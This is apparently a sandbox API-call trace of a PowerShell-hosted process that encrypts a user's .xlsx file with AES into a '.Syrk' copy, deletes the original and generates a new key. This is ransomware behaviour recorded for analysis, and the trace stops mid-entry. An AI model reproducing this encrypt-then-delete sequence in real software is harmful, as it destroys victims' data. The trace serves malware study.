CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zVu_x.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\zvu_x.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0233.918] GetFileType (hFile=0x454) returned 0x1 [0233.918] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0233.918] GetFileType (hFile=0x454) returned 0x1 [0233.918] EtwEventActivityIdControl () returned 0x0 [0233.918] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0233.919] EtwEventActivityIdControl () returned 0x0 [0233.919] EtwEventActivityIdControl () returned 0x0 [0233.919] EtwEventActivityIdControl () returned 0x0 [0233.919] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zVu_x.xlsx.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0233.920] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zVu_x.xlsx.Syrk", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\zVu_x.xlsx.Syrk", lpFilePart=0x0) returned 0x2c [0233.920] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0233.920] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zVu_x.xlsx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\zvu_x.xlsx.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x458 [0233.921] GetFileType (hFile=0x458) returned 0x1 [0233.921] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0233.921] GetFileType (hFile=0x458) returned 0x1 [0233.921] EtwEventActivityIdControl () returned 0x0 [0233.921] CryptGenRandom (in: hProv=0x5c4cff0, dwLen=0x10, pbBuffer=0x23a1628 | out: pbBuffer=0x23a1628) returned 1 [0233.922] CryptContextAddRef (hProv=0x5c4cff0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0233.923] CryptDuplicateKey (in: hKey=0x5c99920, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c999e0) returned 1 [0233.923] CryptContextAddRef (hProv=0x5c4cff0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0233.923] CryptSetKeyParam (hKey=0x5c999e0, dwParam=0x4, pbData=0x23a2960*=0x1, dwFlags=0x0) returned 1 [0233.923] CryptSetKeyParam (hKey=0x5c999e0, dwParam=0x1, pbData=0x23a292c, dwFlags=0x0) returned 1 [0233.923] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0233.923] EtwEventActivityIdControl () returned 0x0 [0233.923] EtwEventActivityIdControl () returned 0x0 [0233.923] EtwEventActivityIdControl () returned 0x0 [0233.924] EtwEventActivityIdControl () returned 0x0 [0233.924] ReadFile (in: hFile=0x454, lpBuffer=0x23a559c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x23a559c*, lpNumberOfBytesRead=0x5a2e7d8*=0xc742, lpOverlapped=0x0) returned 1 [0233.926] CryptEncrypt (in: hKey=0x5c999e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23b95b4*, pdwDataLen=0x5a2e7cc*=0xc740, dwBufLen=0xc740 | out: pbData=0x23b95b4*, pdwDataLen=0x5a2e7cc*=0xc740) returned 1 [0233.927] WriteFile (in: hFile=0x458, lpBuffer=0x23a1710*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x23a1710*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0233.928] WriteFile (in: hFile=0x458, lpBuffer=0x23ba5a0*, nNumberOfBytesToWrite=0xb754, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x23ba5a0*, lpNumberOfBytesWritten=0x5a2e7b0*=0xb754, lpOverlapped=0x0) returned 1 [0234.058] ReadFile (in: hFile=0x454, lpBuffer=0x23a559c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x23a559c*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0234.058] CryptEncrypt (in: hKey=0x5c999e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23c5d00*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x23c5d00*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0234.058] CryptEncrypt (in: hKey=0x5c999e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x23c5d1c*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x23c5d1c*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0234.059] WriteFile (in: hFile=0x458, lpBuffer=0x23a1710*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x23a1710*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0234.059] CloseHandle (hObject=0x458) returned 1 [0234.061] CloseHandle (hObject=0x454) returned 1 [0234.062] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.063] EtwEventActivityIdControl () returned 0x0 [0234.063] EtwEventActivityIdControl () returned 0x0 [0234.063] EtwEventActivityIdControl () returned 0x0 [0234.071] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zVu_x.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\zvu_x.xlsx")) returned 0x20 [0234.073] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zVu_x.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x28 [0234.073] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zVu_x.xlsx", nBufferLength=0x28, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\zVu_x.xlsx", lpFilePart=0x0) returned 0x27 [0234.074] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0234.074] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0234.074] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0234.074] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0234.074] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0234.074] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0234.075] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0234.075] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0234.075] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0234.075] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0234.075] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0234.075] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0234.075] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0234.076] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0234.076] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0234.076] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x1d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents", lpFilePart=0x0) returned 0x1c [0234.076] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zVu_x.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\zvu_x.xlsx")) returned 0x20 [0234.076] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zVu_x.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x28 [0234.076] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zVu_x.xlsx", nBufferLength=0x28, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\zVu_x.xlsx", lpFilePart=0x0) returned 0x27 [0234.082] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zVu_x.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x28 [0234.082] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zVu_x.xlsx", nBufferLength=0x28, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\zVu_x.xlsx", lpFilePart=0x0) returned 0x27 [0234.082] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0234.082] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zVu_x.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x28 [0234.082] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zVu_x.xlsx", nBufferLength=0x28, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\zVu_x.xlsx", lpFilePart=0x0) returned 0x27 [0234.082] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zVu_x.xlsx\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\zvu_x.xlsx\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0234.083] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0234.083] CoTaskMemAlloc (cb=0x404) returned 0x5c9b950 [0234.083] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c9b950, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0234.083] CoTaskMemFree (pv=0x5c9b950) [0234.085] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zVu_x.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\zvu_x.xlsx")) returned 0x20 [0234.085] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zVu_x.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x28 [0234.085] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zVu_x.xlsx", nBufferLength=0x28, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\zVu_x.xlsx", lpFilePart=0x0) returned 0x27 [0234.085] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0234.085] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zVu_x.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\zvu_x.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x23d0914 | out: lpFileInformation=0x23d0914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bfe1b30, ftCreationTime.dwHighDateTime=0x1d948ee, ftLastAccessTime.dwLowDateTime=0x233050d0, ftLastAccessTime.dwHighDateTime=0x1d95b5f, ftLastWriteTime.dwLowDateTime=0x233050d0, ftLastWriteTime.dwHighDateTime=0x1d95b5f, nFileSizeHigh=0x0, nFileSizeLow=0xc742)) returned 1 [0234.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0234.086] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zVu_x.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\zvu_x.xlsx")) returned 1 [0234.089] EtwEventActivityIdControl () returned 0x0 [0234.089] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.089] EtwEventActivityIdControl () returned 0x0 [0234.089] EtwEventActivityIdControl () returned 0x0 [0234.089] EtwEventActivityIdControl () returned 0x0 [0234.097] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zVu_x.xlsx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\zvu_x.xlsx.syrk")) returned 0x20 [0234.098] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zVu_x.xlsx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\zvu_x.xlsx.syrk")) returned 0x20 [0234.098] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zVu_x.xlsx.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0234.098] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zVu_x.xlsx.Syrk", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\zVu_x.xlsx.Syrk", lpFilePart=0x0) returned 0x2c [0234.099] EtwEventActivityIdControl () returned 0x0 [0234.099] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.099] EtwEventActivityIdControl () returned 0x0 [0234.099] EtwEventActivityIdControl () returned 0x0 [0234.099] EtwEventActivityIdControl () returned 0x0 [0234.104] EtwEventActivityIdControl () returned 0x0 [0234.104] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.104] EtwEventActivityIdControl () returned 0x0 [0234.105] EtwEventActivityIdControl () returned 0x0 [0234.105] EtwEventActivityIdControl () returned 0x0 [0234.160] EtwEventActivityIdControl () returned 0x0 [0234.160] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.160] EtwEventActivityIdControl () returned 0x0 [0234.160] EtwEventActivityIdControl () returned 0x0 [0234.160] EtwEventActivityIdControl () returned 0x0 [0234.165] EtwEventActivityIdControl () returned 0x0 [0234.165] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.166] EtwEventActivityIdControl () returned 0x0 [0234.166] EtwEventActivityIdControl () returned 0x0 [0234.166] EtwEventActivityIdControl () returned 0x0 [0234.177] EtwEventActivityIdControl () returned 0x0 [0234.178] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.178] EtwEventActivityIdControl () returned 0x0 [0234.179] EtwEventActivityIdControl () returned 0x0 [0234.179] EtwEventActivityIdControl () returned 0x0 [0234.186] EtwEventActivityIdControl () returned 0x0 [0234.193] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0234.193] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zVu_x.xlsx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\zvu_x.xlsx.syrk"), fInfoLevelId=0x0, lpFileInformation=0x23d9be0 | out: lpFileInformation=0x23d9be0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7555660, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x7555660, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x75edbe0, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0xc764)) returned 1 [0234.194] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0234.195] GetConsoleOutputCP () returned 0x1b5 [0234.229] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0234.229] GetConsoleOutputCP () returned 0x1b5 [0234.229] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0234.229] GetConsoleOutputCP () returned 0x1b5 [0234.229] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0234.229] GetConsoleOutputCP () returned 0x1b5 [0234.230] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0234.230] GetConsoleOutputCP () returned 0x1b5 [0234.230] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0234.230] GetConsoleOutputCP () returned 0x1b5 [0234.230] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0234.230] GetConsoleOutputCP () returned 0x1b5 [0234.230] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0234.230] GetConsoleOutputCP () returned 0x1b5 [0234.230] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0234.230] GetConsoleOutputCP () returned 0x1b5 [0234.231] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0234.231] GetConsoleOutputCP () returned 0x1b5 [0234.231] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0234.231] GetConsoleOutputCP () returned 0x1b5 [0234.231] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0234.231] GetConsoleOutputCP () returned 0x1b5 [0234.231] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0234.231] GetConsoleOutputCP () returned 0x1b5 [0234.231] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0234.231] GetConsoleOutputCP () returned 0x1b5 [0234.232] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0234.232] GetConsoleOutputCP () returned 0x1b5 [0234.232] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0234.232] GetConsoleOutputCP () returned 0x1b5 [0234.232] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0234.232] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0234.232] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0234.233] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23f37b0*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x23f37b0*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0234.233] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0234.234] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0234.236] EtwEventActivityIdControl () returned 0x0 [0234.236] EtwEventActivityIdControl () returned 0x0 [0234.236] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.236] EtwEventActivityIdControl () returned 0x0 [0234.236] EtwEventActivityIdControl () returned 0x0 [0234.236] EtwEventActivityIdControl () returned 0x0 [0234.238] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.238] EtwEventActivityIdControl () returned 0x0 [0234.238] EtwEventActivityIdControl () returned 0x0 [0234.239] EtwEventActivityIdControl () returned 0x0 [0234.240] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d210) returned 1 [0234.242] CryptGenKey (in: hProv=0x5c4d210, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c99720) returned 1 [0234.242] CryptContextAddRef (hProv=0x5c4d210, pdwReserved=0x0, dwFlags=0x0) returned 1 [0234.242] CryptExportKey (in: hKey=0x5c99720, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0234.242] CryptExportKey (in: hKey=0x5c99720, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x23fb188, pdwDataLen=0x5a2e8c4 | out: pbData=0x23fb188*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0234.242] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.243] EtwEventActivityIdControl () returned 0x0 [0234.243] EtwEventActivityIdControl () returned 0x0 [0234.243] EtwEventActivityIdControl () returned 0x0 [0234.244] SysStringLen (param_1="") returned 0x8 [0234.244] SysStringLen (param_1="s") returned 0x8 [0234.244] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.244] SysStringLen (param_1="供ʦ臥㐒嘩뺒鹄") returned 0x8 [0234.244] SysStringLen (param_1="供ʦ臥㐒嘩뺒鹄") returned 0x8 [0234.244] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.244] SysStringLen (param_1="su") returned 0x8 [0234.244] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.245] SysStringLen (param_1="꺾噷弃빤㖏댃\勜⋸) returned 0x8 [0234.245] SysStringLen (param_1="꺾噷弃빤㖏댃\勜⋸) returned 0x8 [0234.245] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.245] SysStringLen (param_1="suU") returned 0x8 [0234.245] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.245] SysStringLen (param_1="덢鲬褜滒뻙΄") returned 0x8 [0234.245] SysStringLen (param_1="덢鲬褜滒뻙΄") returned 0x8 [0234.245] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.245] SysStringLen (param_1="suUZ") returned 0x8 [0234.245] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.246] SysStringLen (param_1="⋵ቅẬꦝ游ٹ摾㤑") returned 0x8 [0234.246] SysStringLen (param_1="⋵ቅẬꦝ游ٹ摾㤑") returned 0x8 [0234.246] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.246] SysStringLen (param_1="suUZS") returned 0x8 [0234.246] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.246] SysStringLen (param_1="闌浳긗辻[☨") returned 0x8 [0234.246] SysStringLen (param_1="闌浳긗辻[☨") returned 0x8 [0234.246] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.246] SysStringLen (param_1="suUZS/") returned 0x8 [0234.246] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.246] SysStringLen (param_1="䂃복⟳⎮玢ꂳ奏") returned 0x8 [0234.246] SysStringLen (param_1="䂃복⟳⎮玢ꂳ奏") returned 0x8 [0234.246] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.247] SysStringLen (param_1="suUZS/V") returned 0x8 [0234.247] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.247] SysStringLen (param_1="㶠含\惟⤻໓⋩) returned 0x8 [0234.247] SysStringLen (param_1="㶠含\惟⤻໓⋩) returned 0x8 [0234.247] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.247] SysStringLen (param_1="suUZS/Vi") returned 0x8 [0234.247] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.247] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆") returned 0x8 [0234.247] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆") returned 0x8 [0234.247] SysStringLen 